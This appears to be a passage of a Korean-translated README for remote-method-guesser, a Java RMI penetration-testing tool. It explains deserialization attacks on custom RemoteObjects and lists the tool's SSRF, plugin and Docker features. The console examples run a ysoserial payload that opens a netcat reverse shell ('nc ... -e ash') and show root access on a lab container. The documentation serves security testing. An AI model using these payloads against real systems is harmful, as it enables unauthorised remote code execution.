[+] Attempting deserialization attack on Activation endpoint...
[+]
[+] Caught IllegalArgumentException during deserialization attack.
[+] Deserialization attack was probably successful :)
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:44673.
id
uid=0(root) gid=0(root) groups=0(root)
현대의 Java RMI 구현은 기본적으로 잘 알려진 RMI components를 deserialization filters로 보호하는 반면, 사용자 정의 RemoteObjects (실제 RMI applications)는 일반적으로 보호되지 않습니다. 인수에 기본 타입만 사용하지 않는 원격 메서드는 따라서 deserialization attacks에 사용될 수 있습니다.
이 블로그 게시물은(는) Hans-Martin Münch가 이 문제를 더 자세히 설명합니다.
remote-method-guesser는 이러한 취약점을 쉽게 확인하는 데 사용될 수 있습니다. 예를 들어, remote-method-guesser의 예제 서버에 있는 String login(java.util.HashMap dummy1) 메서드를 사용하여 deserialization attack을 수행할 수 있습니다:```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --signature 'String login(java.util.HashMap dummy1)' --bound-name legacy-service
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.util.HashMap on position 0
[+] Specified method signature is String login(java.util.HashMap dummy1)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize dummy class c0ba245a659945bb93a49a3ab4b1e430.
[+] Deserialization attack probably worked :)
[qtc@devbox ~]$ nc -vlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:35377. id uid=0(root) gid=0(root) groups=0(root)
### 추가 기능
*remote-method-guesser*에는 이 *README.md* 파일에서 설명하지 않은 많은 기능이 포함되어 있습니다. 그중 일부는 아래와 같습니다:
* 거의 모든 작업은 ``--ssrf`` 옵션과 함께 사용하여 해당 작업에 대한 *SSRF* 페이로드를 생성할 수 있습니다.
* 바이너리 *RMI 서버* 출력(예: *SSRF* 공격 후)을 얻은 경우 ``--ssrf-response`` 옵션을 사용하여 *remote-method-guesser*에 입력할 수 있습니다. 이 옵션은 지정된 작업으로 얻은 서버 출력을 파싱합니다.
* *remote-method-guesser*는 *플러그인 시스템*을 사용하여 확장할 수 있습니다. 네 가지 인터페이스(``IPayloadProvider``, ``IResponseHandler``, ``IArgumentProvider``, ``ISocketFactoryProvider``)를 사용하여 *remote-method-guesser*를 보다 복잡한 사용 시나리오에 적용할 수 있습니다.
* ``guess`` 작업 중에는 ``--create-samples`` 옵션을 사용하여 성공적으로 추측된 메서드를 호출하는 데 사용할 수 있는 *Java* 코드를 생성할 수 있습니다.
이러한 기능에 대한 자세한 내용은 [문서 폴더](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/docs)에서 확인할 수 있습니다.
### Docker 이미지
----
`v4.4.0` 버전부터 *remote-method-guesser*는 Docker 이미지로도 제공되며 [GitHub Container Registry](https://github.com/qtc-de/remote-method-guesser/pkgs/container/remote-method-guesser%2Frmg)에서 가져올 수 있습니다.
각 릴리스에는 *일반(normal)* 버전과 *슬림(slim)* 버전이 있습니다. 둘 다 *remote-method-guesser*의 완전한 작업 버전을 제공하지만, *일반* 버전에만 [ysoserial](https://github.com/frohoff/ysoserial)이 포함되어 있어 이미지 크기가 더 큽니다:
* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0` - `121MB`
* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0-slim` - `61.9MB`
다음 명령을 실행하여 직접 컨테이너를 빌드할 수도 있습니다:```console
[user@host ~]$ git clone https://github.com/qtc-de/remote-method-guesser
[user@host ~]$ cd remote-method-guesser && docker build -t rmg .
remote-method-guesser는 Hans-Martin Münch와 Jake Miller의 블로그 게시물의 영향을 많이 받았습니다. 또한 rmiscout wordlist는 rmiscout 프로젝트에서 명백히 복사되었습니다 (다른 라이선스 계약에서 이미 알 수 있듯이). 다양한 GitHub 저장소에서 수집된 이 멋진 remote methods wordlist를 제공해 준 Jake에게 감사드립니다.
Copyright 2023, Tobias Neitzel and the remote-method-guesser contributors.